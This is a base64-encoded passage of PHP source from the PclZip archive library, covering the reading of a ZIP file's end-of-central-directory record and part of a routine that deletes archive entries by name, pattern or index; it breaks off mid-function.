LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogcHJpdlJlYWRFbmRDZW50cmFsRGlyKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2UmVhZEVuZENlbnRyYWxEaXIoJiRwX2NlbnRyYWxfZGlyKQogIHsKICAgICR2X3Jlc3VsdD0xOwoKICAgIC8vIC0tLS0tIEdvIHRvIHRoZSBlbmQgb2YgdGhlIHppcCBmaWxlCiAgICAkdl9zaXplID0gZmlsZXNpemUoJHRoaXMtPnppcG5hbWUpOwogICAgQGZzZWVrKCR0aGlzLT56aXBfZmQsICR2X3NpemUpOwogICAgaWYgKEBmdGVsbCgkdGhpcy0+emlwX2ZkKSAhPSAkdl9zaXplKQogICAgewogICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9CQURfRk9STUFULCAnVW5hYmxlIHRvIGdvIHRvIHRoZSBlbmQgb2YgdGhlIGFyY2hpdmUgXCcnLiR0aGlzLT56aXBuYW1lLidcJycpOwoKICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgfQoKICAgIC8vIC0tLS0tIEZpcnN0IHRyeSA6IGxvb2sgaWYgdGhpcyBpcyBhbiBhcmNoaXZlIHdpdGggbm8gY29tbWVudGFyaWVzIChtb3N0IG9mIHRoZSB0aW1lKQogICAgLy8gaW4gdGhpcyBjYXNlIHRoZSBlbmQgb2YgY2VudHJhbCBkaXIgaXMgYXQgMjIgYnl0ZXMgb2YgdGhlIGZpbGUgZW5kCiAgICAkdl9mb3VuZCA9IDA7CiAgICBpZiAoJHZfc2l6ZSA+IDI2KSB7CiAgICAgIEBmc2VlaygkdGhpcy0+emlwX2ZkLCAkdl9zaXplLTIyKTsKICAgICAgaWYgKCgkdl9wb3MgPSBAZnRlbGwoJHRoaXMtPnppcF9mZCkpICE9ICgkdl9zaXplLTIyKSkKICAgICAgewogICAgICAgIC8vIC0tLS0tIEVycm9yIGxvZwogICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfQkFEX0ZPUk1BVCwgJ1VuYWJsZSB0byBzZWVrIGJhY2sgdG8gdGhlIG1pZGRsZSBvZiB0aGUgYXJjaGl2ZSBcJycuJHRoaXMtPnppcG5hbWUuJ1wnJyk7CgogICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgICB9CgogICAgICAvLyAtLS0tLSBSZWFkIGZvciBieXRlcwogICAgICAkdl9iaW5hcnlfZGF0YSA9IEBmcmVhZCgkdGhpcy0+emlwX2ZkLCA0KTsKICAgICAgJHZfZGF0YSA9IEB1bnBhY2soJ1ZpZCcsICR2X2JpbmFyeV9kYXRhKTsKCiAgICAgIC8vIC0tLS0tIENoZWNrIHNpZ25hdHVyZQogICAgICBpZiAoJHZfZGF0YVsnaWQnXSA9PSAweDA2MDU0YjUwKSB7CiAgICAgICAgJHZfZm91bmQgPSAxOwogICAgICB9CgogICAgICAkdl9wb3MgPSBmdGVsbCgkdGhpcy0+emlwX2ZkKTsKICAgIH0KCiAgICAvLyAtLS0tLSBHbyBiYWNrIHRvIHRoZSBtYXhpbXVtIHBvc3NpYmxlIHNpemUgb2YgdGhlIENlbnRyYWwgRGlyIEVuZCBSZWNvcmQKICAgIGlmICghJHZfZm91bmQpIHsKICAgICAgJHZfbWF4aW11bV9zaXplID0gNjU1NTc7IC8vIDB4RkZGRiArIDIyOwogICAgICBpZiAoJHZfbWF4aW11bV9zaXplID4gJHZfc2l6ZSkKICAgICAgICAkdl9tYXhpbXVtX3NpemUgPSAkdl9zaXplOwogICAgICBAZnNlZWsoJHRoaXMtPnppcF9mZCwgJHZfc2l6ZS0kdl9tYXhpbXVtX3NpemUpOwogICAgICBpZiAoQGZ0ZWxsKCR0aGlzLT56aXBfZmQpICE9ICgkdl9zaXplLSR2X21heGltdW1fc2l6ZSkpCiAgICAgIHsKICAgICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0JBRF9GT1JNQVQsICdVbmFibGUgdG8gc2VlayBiYWNrIHRvIHRoZSBtaWRkbGUgb2YgdGhlIGFyY2hpdmUgXCcnLiR0aGlzLT56aXBuYW1lLidcJycpOwoKICAgICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgfQoKICAgICAgLy8gLS0tLS0gUmVhZCBieXRlIHBlciBieXRlIGluIG9yZGVyIHRvIGZpbmQgdGhlIHNpZ25hdHVyZQogICAgICAkdl9wb3MgPSBmdGVsbCgkdGhpcy0+emlwX2ZkKTsKICAgICAgJHZfYnl0ZXMgPSAweDAwMDAwMDAwOwogICAgICB3aGlsZSAoJHZfcG9zIDwgJHZfc2l6ZSkKICAgICAgewogICAgICAgIC8vIC0tLS0tIFJlYWQgYSBieXRlCiAgICAgICAgJHZfYnl0ZSA9IEBmcmVhZCgkdGhpcy0+emlwX2ZkLCAxKTsKCiAgICAgICAgLy8gLS0tLS0gIEFkZCB0aGUgYnl0ZQogICAgICAgIC8vJHZfYnl0ZXMgPSAoJHZfYnl0ZXMgPDwgOCkgfCBPcmQoJHZfYnl0ZSk7CiAgICAgICAgLy8gTm90ZSB3ZSBtYXNrIHRoZSBvbGQgdmFsdWUgZG93biBzdWNoIHRoYXQgb25jZSBzaGlmdGVkIHdlIGNhbiBuZXZlciBlbmQgdXAgd2l0aCBtb3JlIHRoYW4gYSAzMmJpdCBudW1iZXIKICAgICAgICAvLyBPdGhlcndpc2Ugb24gc3lzdGVtcyB3aGVyZSB3ZSBoYXZlIDY0Yml0IGludGVnZXJzIHRoZSBjaGVjayBiZWxvdyBmb3IgdGhlIG1hZ2ljIG51bWJlciB3aWxsIGZhaWwuCiAgICAgICAgJHZfYnl0ZXMgPSAoICgkdl9ieXRlcyAmIDB4RkZGRkZGKSA8PCA4KSB8IE9yZCgkdl9ieXRlKTsKCiAgICAgICAgLy8gLS0tLS0gQ29tcGFyZSB0aGUgYnl0ZXMKICAgICAgICBpZiAoJHZfYnl0ZXMgPT0gMHg1MDRiMDUwNikKICAgICAgICB7CiAgICAgICAgICAkdl9wb3MrKzsKICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgJHZfcG9zKys7CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgaWYgbm90IGZvdW5kIGVuZCBvZiBjZW50cmFsIGRpcgogICAgICBpZiAoJHZfcG9zID09ICR2X3NpemUpCiAgICAgIHsKCiAgICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9CQURfRk9STUFULCAiVW5hYmxlIHRvIGZpbmQgRW5kIG9mIENlbnRyYWwgRGlyIFJlY29yZCBzaWduYXR1cmUiKTsKCiAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgIH0KICAgIH0KCiAgICAvLyAtLS0tLSBSZWFkIHRoZSBmaXJzdCAxOCBieXRlcyBvZiB0aGUgaGVhZGVyCiAgICAkdl9iaW5hcnlfZGF0YSA9IGZyZWFkKCR0aGlzLT56aXBfZmQsIDE4KTsKCiAgICAvLyAtLS0tLSBMb29rIGZvciBpbnZhbGlkIGJsb2NrIHNpemUKICAgIGlmIChzdHJsZW4oJHZfYmluYXJ5X2RhdGEpICE9IDE4KQogICAgewoKICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfQkFEX0ZPUk1BVCwgIkludmFsaWQgRW5kIG9mIENlbnRyYWwgRGlyIFJlY29yZCBzaXplIDogIi5zdHJsZW4oJHZfYmluYXJ5X2RhdGEpKTsKCiAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgIH0KCiAgICAvLyAtLS0tLSBFeHRyYWN0IHRoZSB2YWx1ZXMKICAgICR2X2RhdGEgPSB1bnBhY2soJ3ZkaXNrL3ZkaXNrX3N0YXJ0L3ZkaXNrX2VudHJpZXMvdmVudHJpZXMvVnNpemUvVm9mZnNldC92Y29tbWVudF9zaXplJywgJHZfYmluYXJ5X2RhdGEpOwoKICAgIC8vIC0tLS0tIENoZWNrIHRoZSBnbG9iYWwgc2l6ZQogICAgaWYgKCgkdl9wb3MgKyAkdl9kYXRhWydjb21tZW50X3NpemUnXSArIDE4KSAhPSAkdl9zaXplKSB7CgoJICAvLyAtLS0tLSBSZW1vdmVkIGluIHJlbGVhc2UgMi4yIHNlZSByZWFkbWUgZmlsZQoJICAvLyBUaGUgY2hlY2sgb2YgdGhlIGZpbGUgc2l6ZSBpcyBhIGxpdHRsZSB0b28gc3RyaWN0LgoJICAvLyBTb21lIGJ1Z3Mgd2hlcmUgZm91bmQgd2hlbiBhIHppcCBpcyBlbmNyeXB0ZWQvZGVjcnlwdGVkIHdpdGggJ2NyeXB0Jy4KCSAgLy8gV2hpbGUgZGVjcnlwdGVkLCB6aXAgaGFzIHRyYWluaW5nIDAgYnl0ZXMKCSAgaWYgKDApIHsKICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfQkFEX0ZPUk1BVCwKCSAgICAgICAgICAgICAgICAgICAgICAgJ1RoZSBjZW50cmFsIGRpciBpcyBub3QgYXQgdGhlIGVuZCBvZiB0aGUgYXJjaGl2ZS4nCgkJCQkJCSAgIC4nIFNvbWUgdHJhaWxpbmcgYnl0ZXMgZXhpc3RzIGFmdGVyIHRoZSBhcmNoaXZlLicpOwoKICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwoJICB9CiAgICB9CgogICAgLy8gLS0tLS0gR2V0IGNvbW1lbnQKICAgIGlmICgkdl9kYXRhWydjb21tZW50X3NpemUnXSAhPSAwKSB7CiAgICAgICRwX2NlbnRyYWxfZGlyWydjb21tZW50J10gPSBmcmVhZCgkdGhpcy0+emlwX2ZkLCAkdl9kYXRhWydjb21tZW50X3NpemUnXSk7CiAgICB9CiAgICBlbHNlCiAgICAgICRwX2NlbnRyYWxfZGlyWydjb21tZW50J10gPSAnJzsKCiAgICAkcF9jZW50cmFsX2RpclsnZW50cmllcyddID0gJHZfZGF0YVsnZW50cmllcyddOwogICAgJHBfY2VudHJhbF9kaXJbJ2Rpc2tfZW50cmllcyddID0gJHZfZGF0YVsnZGlza19lbnRyaWVzJ107CiAgICAkcF9jZW50cmFsX2Rpclsnb2Zmc2V0J10gPSAkdl9kYXRhWydvZmZzZXQnXTsKICAgICRwX2NlbnRyYWxfZGlyWydzaXplJ10gPSAkdl9kYXRhWydzaXplJ107CiAgICAkcF9jZW50cmFsX2RpclsnZGlzayddID0gJHZfZGF0YVsnZGlzayddOwogICAgJHBfY2VudHJhbF9kaXJbJ2Rpc2tfc3RhcnQnXSA9ICR2X2RhdGFbJ2Rpc2tfc3RhcnQnXTsKCiAgICAvLyBUQkMKICAgIC8vZm9yKHJlc2V0KCRwX2NlbnRyYWxfZGlyKTsgJGtleSA9IGtleSgkcF9jZW50cmFsX2Rpcik7IG5leHQoJHBfY2VudHJhbF9kaXIpKSB7CiAgICAvL30KCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2RGVsZXRlQnlSdWxlKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2RGVsZXRlQnlSdWxlKCYkcF9yZXN1bHRfbGlzdCwgJiRwX29wdGlvbnMpCiAgewogICAgJHZfcmVzdWx0PTE7CiAgICAkdl9saXN0X2RldGFpbCA9IGFycmF5KCk7CgogICAgLy8gLS0tLS0gT3BlbiB0aGUgemlwIGZpbGUKICAgIGlmICgoJHZfcmVzdWx0PSR0aGlzLT5wcml2T3BlbkZkKCdyYicpKSAhPSAxKQogICAgewogICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgIH0KCiAgICAvLyAtLS0tLSBSZWFkIHRoZSBjZW50cmFsIGRpcmVjdG9yeSBpbmZvcm1hdGlvbnMKICAgICR2X2NlbnRyYWxfZGlyID0gYXJyYXkoKTsKICAgIGlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZSZWFkRW5kQ2VudHJhbERpcigkdl9jZW50cmFsX2RpcikpICE9IDEpCiAgICB7CiAgICAgICR0aGlzLT5wcml2Q2xvc2VGZCgpOwogICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgfQoKICAgIC8vIC0tLS0tIEdvIHRvIGJlZ2lubmluZyBvZiBGaWxlCiAgICBAcmV3aW5kKCR0aGlzLT56aXBfZmQpOwoKICAgIC8vIC0tLS0tIFNjYW4gYWxsIHRoZSBmaWxlcwogICAgLy8gLS0tLS0gU3RhcnQgYXQgYmVnaW5uaW5nIG9mIENlbnRyYWwgRGlyCiAgICAkdl9wb3NfZW50cnkgPSAkdl9jZW50cmFsX2Rpclsnb2Zmc2V0J107CiAgICBAcmV3aW5kKCR0aGlzLT56aXBfZmQpOwogICAgaWYgKEBmc2VlaygkdGhpcy0+emlwX2ZkLCAkdl9wb3NfZW50cnkpKQogICAgewogICAgICAvLyAtLS0tLSBDbG9zZSB0aGUgemlwIGZpbGUKICAgICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CgogICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX0FSQ0hJVkVfWklQLCAnSW52YWxpZCBhcmNoaXZlIHNpemUnKTsKCiAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgIH0KCiAgICAvLyAtLS0tLSBSZWFkIGVhY2ggZW50cnkKICAgICR2X2hlYWRlcl9saXN0ID0gYXJyYXkoKTsKICAgICRqX3N0YXJ0ID0gMDsKICAgIGZvciAoJGk9MCwgJHZfbmJfZXh0cmFjdGVkPTA7ICRpPCR2X2NlbnRyYWxfZGlyWydlbnRyaWVzJ107ICRpKyspCiAgICB7CgogICAgICAvLyAtLS0tLSBSZWFkIHRoZSBmaWxlIGhlYWRlcgogICAgICAkdl9oZWFkZXJfbGlzdFskdl9uYl9leHRyYWN0ZWRdID0gYXJyYXkoKTsKICAgICAgaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdlJlYWRDZW50cmFsRmlsZUhlYWRlcigkdl9oZWFkZXJfbGlzdFskdl9uYl9leHRyYWN0ZWRdKSkgIT0gMSkKICAgICAgewogICAgICAgIC8vIC0tLS0tIENsb3NlIHRoZSB6aXAgZmlsZQogICAgICAgICR0aGlzLT5wcml2Q2xvc2VGZCgpOwoKICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICB9CgoKICAgICAgLy8gLS0tLS0gU3RvcmUgdGhlIGluZGV4CiAgICAgICR2X2hlYWRlcl9saXN0WyR2X25iX2V4dHJhY3RlZF1bJ2luZGV4J10gPSAkaTsKCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIHRoZSBzcGVjaWZpYyBleHRyYWN0IHJ1bGVzCiAgICAgICR2X2ZvdW5kID0gZmFsc2U7CgogICAgICAvLyAtLS0tLSBMb29rIGZvciBleHRyYWN0IGJ5IG5hbWUgcnVsZQogICAgICBpZiAoICAgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9CWV9OQU1FXSkpCiAgICAgICAgICAmJiAoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX05BTUVdICE9IDApKSB7CgogICAgICAgICAgLy8gLS0tLS0gTG9vayBpZiB0aGUgZmlsZW5hbWUgaXMgaW4gdGhlIGxpc3QKICAgICAgICAgIGZvciAoJGo9MDsgKCRqPHNpemVvZigkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfTkFNRV0pKSAmJiAoISR2X2ZvdW5kKTsgJGorKykgewoKICAgICAgICAgICAgICAvLyAtLS0tLSBMb29rIGZvciBhIGRpcmVjdG9yeQogICAgICAgICAgICAgIGlmIChzdWJzdHIoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX05BTUVdWyRqXSwgLTEpID09ICIvIikgewoKICAgICAgICAgICAgICAgICAgLy8gLS0tLS0gTG9vayBpZiB0aGUgZGlyZWN0b3J5IGlzIGluIHRoZSBmaWxlbmFtZSBwYXRoCiAgICAgICAgICAgICAgICAgIGlmICggICAoc3RybGVuKCR2X2hlYWRlcl9saXN0WyR2X25iX2V4dHJhY3RlZF1bJ3N0b3JlZF9maWxlbmFtZSddKSA+IHN0cmxlbigkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfTkFNRV1bJGpdKSkKICAgICAgICAgICAgICAgICAgICAgICYmIChzdWJzdHIoJHZfaGVhZGVyX2xpc3RbJHZfbmJfZXh0cmFjdGVkXVsnc3RvcmVkX2ZpbGVuYW1lJ10sIDAsIHN0cmxlbigkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfTkFNRV1bJGpdKSkgPT0gJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX05BTUVdWyRqXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICR2X2ZvdW5kID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICBlbHNlaWYgKCAgICgoJHZfaGVhZGVyX2xpc3RbJHZfbmJfZXh0cmFjdGVkXVsnZXh0ZXJuYWwnXSYweDAwMDAwMDEwKT09MHgwMDAwMDAxMCkgLyogSW5kaWNhdGVzIGEgZm9sZGVyICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgJiYgKCR2X2hlYWRlcl9saXN0WyR2X25iX2V4dHJhY3RlZF1bJ3N0b3JlZF9maWxlbmFtZSddLicvJyA9PSAkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfTkFNRV1bJGpdKSkgewogICAgICAgICAgICAgICAgICAgICAgJHZfZm91bmQgPSB0cnVlOwogICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgfQogICAgICAgICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGEgZmlsZW5hbWUKICAgICAgICAgICAgICBlbHNlaWYgKCR2X2hlYWRlcl9saXN0WyR2X25iX2V4dHJhY3RlZF1bJ3N0b3JlZF9maWxlbmFtZSddID09ICRwX29wdGlvbnNbUENMWklQX09QVF9CWV9OQU1FXVskal0pIHsKICAgICAgICAgICAgICAgICAgJHZfZm91bmQgPSB0cnVlOwogICAgICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgfQoKICAgICAgLy8gLS0tLS0gTG9vayBmb3IgZXh0cmFjdCBieSBlcmVnIHJ1bGUKICAgICAgLy8gZXJlZygpIGlzIGRlcHJlY2F0ZWQgd2l0aCBQSFAgNS4zCiAgICAgIC8qCiAgICAgIGVsc2UgaWYgKCAgIChpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfRVJFR10pKQogICAgICAgICAgICAgICAmJiAoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX0VSRUddICE9ICIiKSkgewoKICAgICAgICAgIGlmIChlcmVnKCRwX29wdGlvbnNbUENMWklQX09QVF9CWV9FUkVHXSwgJHZfaGVhZGVyX2xpc3RbJHZfbmJfZXh0cmFjdGVkXVsnc3RvcmVkX2ZpbGVuYW1lJ10pKSB7CiAgICAgICAgICAgICAgJHZfZm91bmQgPSB0cnVlOwogICAgICAgICAgfQogICAgICB9CiAgICAgICovCgogICAgICAvLyAtLS0tLSBMb29rIGZvciBleHRyYWN0IGJ5IHByZWcgcnVsZQogICAgICBlbHNlIGlmICggICAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX1BSRUddKSkKICAgICAgICAgICAgICAgJiYgKCRwX29wdGlvbnNbUENMWklQX09QVF9CWV9QUkVHXSAhPSAiIikpIHsKCiAgICAgICAgICBpZiAocHJlZ19tYXRjaCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfUFJFR10sICR2X2hlYWRlcl9saXN0WyR2X25iX2V4dHJhY3RlZF1bJ3N0b3JlZF9maWxlbmFtZSddKSkgewogICAgICAgICAgICAgICR2X2ZvdW5kID0gdHJ1ZTsKICAgICAgICAgIH0KICAgICAgfQoKICAgICAgLy8gLS0tLS0gTG9vayBmb3IgZXh0cmFjdCBieSBpbmRleCBydWxlCiAgICAgIGVsc2UgaWYgKCAgIChpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfSU5ERVhdKSkKICAgICAgICAgICAgICAgJiYgKCRwX29wdGlvbnNbUENMWklQX09QVF9CWV9JTkRFWF0gIT0gMCkpIHsKCiAgICAgICAgICAvLyAtLS0tLSBMb29rIGlmIHRoZSBpbmRleCBpcyBpbiB0aGUgbGlzdAogICAgICAgICAgZm9yICgkaj0kal9zdGFydDsgKCRqPHNpemVvZigkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfSU5ERVhdKSkgJiYgKCEkdl9mb3VuZCk7ICRqKyspIHsKCiAgICAgICAgICAgICAgaWYgKCgkaT49JHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX0lOREVYXVskal1bJ3N0YXJ0J10pICYmICgkaTw9JHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX0lOREVYXVskal1bJ2VuZCddKSkgewogICAgICAgICAgICAgICAgICAkdl9mb3VuZCA9IHRydWU7CiAgICAgICAgICAgICAgfQogICAgICAgICAgICAgIGlmICgkaT49JHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX0lOREVYXVskal1bJ2VuZCddKSB7CiAgICAgICAgICAgICAgICAgICRqX3N0YXJ0ID0gJGorMTsKICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgIGlmICgkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfSU5ERVhdWyRqXVsnc3RhcnQnXT4kaSkgewogICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgIH0KICAgICAgZWxzZSB7CiAgICAgIAkkdl9mb3VuZCA9IHRydWU7CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGRlbGV0aW9uCiAgICAgIGlmICgkdl9mb3VuZCkKICAgICAgewogICAgICAgIHVuc2V0KCR2X2hlYWRlcl9saXN0WyR2X25iX2V4dHJhY3RlZF0pOwogICAgICB9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgICR2X25iX2V4dHJhY3RlZCsrOwogICAgICB9CiAgICB9CgogICAgLy8gLS0tLS0gTG9vayBpZiBzb21ldGhpbmcgbmVlZCB0byBiZSBkZWxldGVkCiAgICBpZiAoJHZfbmJfZXh0cmFjdGVkID4gMCkgewoKICAgICAgICAvLyAtLS0tLSBDcmVhdGVzIGEgdGVtcG9yYXkgZmlsZQogICAgICAgICR2X3ppcF90ZW1wX25hbWUgPSBQQ0xaSVBfVEVNUE9SQVJZX0RJUi51bmlxaWQoJ3BjbHppcC0nKS4nLnRtcCc7CgogICAgICAgIC8vIC0tLS0tIENyZWF0ZXMgYSB0ZW1wb3JhcnkgemlwIGFyY2hpdmUKICAgICAgICAkdl90ZW1wX3ppcCA9IG5ldyBQY2xaaXAoJHZfemlwX3RlbXBfbmFtZSk7CgogICAgICAgIC8vIC0tLS0tIE9wZW4gdGhlIHRlbXBvcmFyeSB6aXAgZmlsZSBpbiB3cml0ZSBtb2RlCiAgICAgICAgaWYgKCgkdl9yZXN1bHQgPSAkdl90ZW1wX3ppcC0+cHJpdk9wZW5GZCgnd2InKSkgIT0gMSkgewogICAgICAgICAgICAkdGhpcy0+cHJpdkNsb3NlRmQoKTsKCiAgICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgIH0KCiAgICAgICAgLy8gLS0tLS0gTG9vayB3aGljaCBmaWxlIG5lZWQgdG8gYmUga2VwdAogICAgICAgIGZvciAoJGk9MDsgJGk8c2l6ZW9mKCR2X2hlYWRlcl9saXN0KTsgJGkrKykgewoKICAgICAgICAgICAgLy8gLS0tLS0gQ2FsY3VsYXRlIHRoZSBwb3NpdGlvbiBvZiB0aGUgaGVhZGVyCiAgICAgICAgICAgIEByZXdpbmQoJHRoaXMtPnppcF9mZCk7CiAgICAgICAgICAgIGlmIChAZnNlZWsoJHRoaXMtPnppcF9mZCwgICR2X2hlYWRlcl9saXN0WyRpXVsnb2Zmc2V0J10pKSB7CiAgICAgICAgICAgICAgICAvLyAtLS0tLSBDbG9zZSB0aGUgemlwIGZpbGUKICAgICAgICAgICAgICAgICR0aGlzLT5wcml2Q2xvc2VGZCgpOwogICAgICAgICAgICAgICAgJHZfdGVtcF96aXAtPnByaXZDbG9zZUZkKCk7CiAgICAgICAgICAgICAgICBAdW5saW5rKCR2X3ppcF90ZW1wX25hbWUpOwoKICAgICAgICAgICAgICAgIC8vIC0tLS0tIEVycm9yIGxvZwogICAgICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX0FSQ0hJVkVfWklQLCAnSW52YWxpZCBhcmNoaXZlIHNpemUnKTsKCiAgICAgICAgICAgICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgICAgICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyAtLS0tLSBSZWFkIHRoZSBmaWxlIGhlYWRlcgogICAgICAgICAgICAkdl9sb2NhbF9oZWFkZXIgPSBhcnJheSgpOwogICAgICAgICAgICBpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2UmVhZEZpbGVIZWFkZXIoJHZfbG9jYWxfaGVhZGVyKSkgIT0gMSkgewogICAgICAgICAgICAgICAgLy8gLS0tLS0gQ2xvc2UgdGhlIHppcCBmaWxlCiAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdkNsb3NlRmQoKTsKICAgICAgICAgICAgICAgICR2X3RlbXBfemlwLT5wcml2Q2xvc2VGZCgpOwogICAgICAgICAgICAgICAgQHVubGluaygkdl96aXBfdGVtcF9uYW1lKTsKCiAgICAgICAgICAgICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgICAgICAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIC0tLS0tIENoZWNrIHRoYXQgbG9jYWwgZmlsZSBoZWFkZXIgaXMgc2FtZSBhcyBjZW50cmFsIGZpbGUgaGVhZGVyCiAgICAgICAgICAgIGlmICgkdGhpcy0+cHJpdkNoZWNrRmlsZUhlYWRlcnMoJHZfbG9jYWxfaGVhZGVyLAoJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2X2hlYWRlcl9saXN0WyRpXSkgIT0gMSkgewogICAgICAgICAgICAgICAgLy8gVEJDCiAgICAgICAgICAgIH0KICAgICAgICAgICAgdW5zZXQoJHZfbG9jYWxfaGVhZGVyKTsKCiAgICAgICAgICAgIC8vIC0tLS0tIFdyaXRlIHRoZSBmaWxlIGhlYWRlcgogICAgICAgICAgICBpZiAoKCR2X3Jlc3VsdCA9ICR2X3RlbXBfemlwLT5wcml2V3JpdGVGaWxlSGVhZGVyKCR2X2hlYWRlcl9saXN0WyRpXSkpICE9IDEpIHsKICAgICAgICAgICAgICAgIC8vIC0tLS0tIENsb3NlIHRoZSB6aXAgZmlsZQogICAgICAgICAgICAgICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CiAgICAgICAgICAgICAgICAkdl90ZW1wX3ppcC0+cHJpdkNsb3NlRmQoKTsKICAgICAgICAgICAgICAgIEB1bmxpbmsoJHZfemlwX3RlbXBfbmFtZSk7Cg